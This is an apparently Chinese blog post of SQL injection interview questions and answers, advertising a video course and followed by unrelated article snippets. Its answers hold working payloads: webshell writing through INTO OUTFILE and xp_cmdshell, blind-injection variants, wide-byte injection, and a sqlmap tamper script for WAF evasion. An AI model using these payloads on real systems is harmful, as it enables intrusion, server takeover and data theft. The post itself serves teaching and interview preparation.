关于SQL注入的面试题及经验分享(附视频教程)

news/2025/1/18 18:55:21/

在前两期的面试经验分享中,我们收到了小伙伴们的热烈反馈,大家对面试话题征集活动展现出了浓厚的兴趣,纷纷表示希望能够了解更多关于面试的技巧和经验。

《SQL注入从0到1》是一套完整的漏洞解析课程,本课程全面剖析SQL注入原理、利用技巧、防御措施与绕过方法,专为新手打造,助力小白轻松掌握SQL注入漏洞

在过往的工作历程中,我既作为求职者深入体验过面试的紧张与挑战,也作为面试官见证过众多优秀人才的竞争。今天,很荣幸在这里给大家做一期关于SQL注入的面试分享,希望对小伙伴们有所帮助。

Q:简述数据库的存储引擎

A:数据库存储引擎是数据库底层软件组织,数据库管理系统(DBMS)使用数据引擎进行创建、查询、更新和删除数据。不同的存储引擎提供不同的存储机制、索引技巧、锁定水平等功能,使用不同的存储引擎,还可以获得特定的功能。

InnoDB:主流的存储引擎,mysql默认存储引擎

MyISAM:查询、插入速度快,不支持事务

MEMORY:hash索引、BTREE索引

Q:SQL注入有哪几种注入类型?

A:从注入参数类型分:数字型注入、字符型注入、搜索型注入;

从注入方法分:基于报错、基于布尔盲注、基于时间盲注、联合查询、堆叠注入、内联查询注入、宽字节注入;

从提交方式分:GET注入、POST注入、COOKIE注入、HTTP头注入。

Q:SQL注入的危害及防御?

A:【危害】数据库泄露、数据库被破坏、网站崩溃、服务器被植入木马;

【防御】代码层面对查询参数进行转义、预编译与参数绑定、利用WAF防御。

Q:Mysql一个@和两个@什么区别?

A:一个@是用户自定义变量,两个@是系统变量,如@@version、@@user。

Q:UDF提权原理?

A:Mysql支持用户自定义函数,将含有自定义函数的dll放入特定的文件夹,声明引入dll中的执行函数,使用执行函数执行系统命令。

Q:SQL与NoSQL的区别?

A:【SQL】关系型数据库,【NoSQL】非关系型数据库

存储方式:SQL具有特定的结构表,NoSQL存储方式灵活;

性能:NoSQL较优于SQL;

数据类型:SQL适用结构化数据,如账号密码,NoSQL适用非结构化数据,如文章、评论。

Q:SQL注入写shell的条件,用法

A:【条件】

当前用户具有dba权限

找到网站绝对路径

网站有可写目录

mysql的配置secure_file_priv为空

【用法】

mysql

id=1' and 1=2 union select 1,2,'shell内容' into outfile "绝对路径\shell.php" %23

sqlserver:

id=1';EXEC master..xp_cmdshell 'echo "shell内容" > 绝对路径\shell.asp' --

Q:SQL注入过滤了逗号,怎么办?

A:join绕过

union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);

Q:sleep被禁用后还能怎么进行sql注入?

A:benchmark代替sleep:

id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(10000000,md5(0x41))),1) --+

笛卡尔积盲注:

select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)

RLIKE盲注:

select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1)

Q:什么是宽字节注入?如何操作?

A:【宽字节注入】当php开启gpc或者使用addslashes函数时,单引号'被加上反斜杠\',其中\的URL编码为%5C,我们传入%df',等价于%df%5C',此时若程序的默认字符集是GBK,mysql用GBK编码时会认为%df%5C是一个宽字符縗,于是%df%5C'便等价于縗',产生注入。

操作:

id=1%df' and 1=2 union select 1,2,user(),4 %23

Q:SQL注入常见的过WAF方法?

A:内联注释绕过;

填充大量脏数据绕过;

垃圾参数填充绕过;

改变提交方式绕过,如GET方式变为POST方式提交;

随机agent头绕过;

fuzz过滤函数,函数替换绕过。

Q:sqlmap如何编写tamper?

A:tamper固定模板如下:

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW def dependencies(): passdef tamper(payload, **kwargs): pass

PROIORITY

用于定义tamper优先级,当调用多个tamper时生效,优先级如下,数值越大优先级越高:

  • LOWEST = -100
  • LOWER = -50
  • LOW = -10
  • NORMAL = 0
  • HIGH = 10
  • HIGHER = 50
  • HIGHEST = 100

dependencies

用于提示用户tamper适用范围,具体代码如下:

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os__priority__ = PRIORITY.LOWdef dependencies():singleTimeWarnMessage("过狗tamper '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

DBMS.MYSQL代表MYSQL,其他数据库类推。

Tamper

tamper关键函数,用于定义过滤规则,示例代码如下:

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWdef tamper(payload, **kwargs):payload=payload.replace('AND','/*!29440AND*/')payload=payload.replace('ORDER','/*!29440order*/')payload=payload.replace('LIKE USER()','like (user/**/())')payload=payload.replace('DATABASE()','database/*!29440*/()')payload=payload.replace('CURRENT_USER()','CURRENT_USER/**/()')payload=payload.replace('SESSION_USER()','SESSION_USER(%0a)')payload=payload.replace('UNION ALL SELECT','union/*!29440select*/')payload=payload.replace('super_priv','/*!29440/**/super_priv*/')payload=payload.replace('and host=','/*!29440and*/host/*!11440=*/')payload=payload.replace('BENCHMARK(','BENCHMARK/*!29440*/(')payload=payload.replace('SLEEP(','sleep/**/(')return payload

fuzz出具体payload后对关键字符进行替换。

Q:MSSQL差异备份原理及条件?

A:【原理】完整备份后,再次对数据库进行修改,差异备份会记录最后的LSN,将shell写入数据库,备份成asp即可getshell。

【条件】

MSSQL具有dbo或sa权限

支持堆叠查询

找到网站的绝对路径

Q:MYSQL注入/绕过常用的函数?

A:注入常用函数

database() 返回当前数据库

user() 返回当前数据库用户名

updatexml() 更新xml文档,常用于报错注入

mid() 从指定字段中提取出字段的内容

limit() 返回结果中的前几条数据或者中间的数据

concat() 返回参数产生的字符串

group_concat() 分组拼接函数

count() 返回指定参数的数目

rand() 参数0~1个随机数

flood() 向下取整

substr() 截取字符串

ascii() 返回字符串的ascii码

left() 返回字符串最左边指定个数的字符

ord() 返回字符的ascii码

length() 返回字符串长度

sleep() 延时函数

等价函数绕过,反之亦可:

group_concat() ==> concat_ws()

sleep() ==> benchmark()

mid()、substr() ==> substring()

user() ==> @@user

updatexml() ==> extractvalue()

以上是我总结的关于SQL注入高频出现的面试题,若你对于其中的2道或更多题目感到困惑或回答错误,这可能表明你的基础知识尚需加强。为了更好地掌握SQL注入的核心内容,建议你观看完整视频教程,由浅入深系统学习,确保每个知识点都能熟练掌握。


http://www.ppmy.cn/news/1564218.html

相关文章

Titans Learning to Memorize at Test Time

在语言建模任务上,拥有 760M 参数的 Titans(MAC) 在 WikiText 上达到了 19.93 的困惑度,显著优于同等规模的 Transformer++(25.21) 和 Mamba2(22.94)。在常识推理任务上,Titans 在包括 PIQA、HellaSwag、WinoGrande 等 9 个基准测试中的平均准确率达到 52.51%,超过了现…

JDBC 实战项目(增删改查小系统,接近完美!)017

今日推荐语 一个人如果追求不可能的事,当然就放弃了可能的事——塞万提斯 日期 学习内容 打卡编号2025年01月15日JDBC 项目实战总结017 前言 哈喽,我是菜鸟阿康。 今天给大家分享,我学完 JDBC 增删改查的实操项目&#xff0c…

laravel10.x 框架中间件实现原理

中间件概念简介 在Laravel 10.x中,中间件是一种在请求到达路由处理程序之前或者之后执行的代码。它就像一个关卡,可以检查、过滤或者修改进入应用程序的HTTP请求。中间件可以用于很多场景,比如身份验证(检查用户是否登录)、日志记录(记录请求信息)、CORS(跨域资源共享)…

CloudberryDB(四)并行执行

要查看CloudberryDB & Greenplum数据库的并行度配置,可以使用以下几种方法: ### 方法一:使用SHOW命令 在Greenplum数据库中,可以使用SHOW命令来查看当前的并行度配置。例如: sql SHOW gp_parallel_degree ; SH…

threejs中的相机与物体

设置物体在17,0,0的位置,相机在10,10,10的位置,物体只能看到一部分或者压根看不见,出现这个原因是 已经超出了相机可见的椎体区域,所以更改相机可见的范围,将相机往后拉,改为20,20,20,此时能看到…

栈和队列(数据结构初阶)

文章目录 栈和队列一:栈1.1概念与结构1.2底层逻辑1.3栈的实现结构定义判空入栈出栈取栈顶元素获取栈中有效数据个数 二:队列2.1概念与结构2.2底层逻辑2.3 队列的实现结构定义初始化入队判空出队取数据有效数据个数 三:结语 欢迎大家来到我的博…

【漏洞预警】FortiOS 和 FortiProxy 身份认证绕过漏洞(CVE-2024-55591)

文章目录 一、产品简介二、漏洞描述三、影响版本四、漏洞检测方法五、解决方案 一、产品简介 FortiOS是Fortinet公司核心的网络安全操作系统,广泛应用于FortiGate下一代防火墙,为用户提供防火墙、VPN、入侵防御、应用控制等多种安全功能。 FortiProxy则…

使用Python爬虫获取1688网站实力档案信息

1. 引言 1688是阿里巴巴旗下的B2B电子商务平台,提供了丰富的商品和供应商信息。为了获取供应商的实力档案信息,我们可以使用1688的API接口item_get_strength。本文将详细介绍如何使用Python爬虫来调用该API并获取所需信息。 2. 环境准备 在开始之前&a…